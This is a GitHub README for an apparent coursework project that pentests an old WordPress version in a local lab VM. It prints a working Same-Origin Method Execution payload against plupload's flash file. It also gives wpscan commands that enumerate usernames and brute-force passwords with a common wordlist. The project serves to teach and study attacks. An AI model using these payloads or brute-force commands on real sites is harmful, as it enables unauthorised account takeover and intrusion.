Skip to content

Experimenting with Kali Linux tools to exploit vulnerabilities in WordPress

Notifications You must be signed in to change notification settings

LifeBringer/WordPress-Pentesting

Repository files navigation

Project 7 - WordPress Pentesting

Time spent: 5 hours spent in total

Objective: Find, analyze, recreate, and document five vulnerabilities affecting an old version of WordPress

Pentesting Report

  1. (Required) WordPress 4.0-4.2.8 - Pupload Same-Origin Method Execution (SOME) attack

    <button onclick="fire()">Click</button>
    		<script>
    		function fire() { 
    			open('javascript:setTimeout("location=\'http://wpdistillery.vm/wp-includes/js/plupload/plupload.flash.swf?target%g=opener.document.body.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.firstElementChild.click&uid%g=hello&\'", 2000)');
    			setTimeout('location="http://wpdistillery.vm/wp-admin/plugin-install.php?tab=plugin-information&plugin=wp-super-cache&TB_iframe=true&width=600&height=550"')
    		}
    	</script> 
    
    • Affected source code:
  2. (Required) WordPress 4.0-4.7.2 - Authenticated Stored Cross-Site Scripting (XSS) in YouTube URL Embeds

  3. (Required) Shortcodes: allow unclosed HTML elements in attributes. WordPress <= 4.3 - Authenticated Shortcode Tags Cross-Site Scripting (XSS).

  1. (Optional) User Enumeration using wpscan
  • Summary: Due to the different login error messages, we can determine whether or not a user account exists on the WordPress install. Using wpscan we can enumerate all usernames since the install does not limit log in attempts or use captchas.

    • Vulnerability types: User Enumeration
    • Tested in version: 4.2
    • Fixed in version: N/A
    • GIF Walkthrough: GIF Walkthrough 4
  • Steps to recreate:

    • In the Kali terminal run: wpscan --url http://wpdistillery.vm --enumerate u
  • Affected source code:

  1. (Optional) Vulnerable ID using wpscan
  • Summary: Using a wordlist of common passwords after enumerating the users as we did previously, we can brute force passwords and retrieve login information for any user with an insecure password.

    • Vulnerability types: Login Vulnerability
    • Tested in version: 4.2
    • Fixed in version: N/A
    • GIF Walkthrough: GIF Walkthrough 5
  • Steps to recreate:

    • In the Kali terminal run wpscan --url http://wpdistillery.vm --passwords /usr/share/wordlists/fasttrack.txt --username bob
  • Affected source code:

Assets

fasttrack.txt with Kali Linux was used as the wordlist for the wpscan enumerage

Resources

GIFs created with LiceCap.

Notes

There were some challenges setting up the host file for the virtual box image, using docker is better than vagrant as it's less resource intensive.

License

Copyright 2021 LifeBringer

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

About

Experimenting with Kali Linux tools to exploit vulnerabilities in WordPress

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published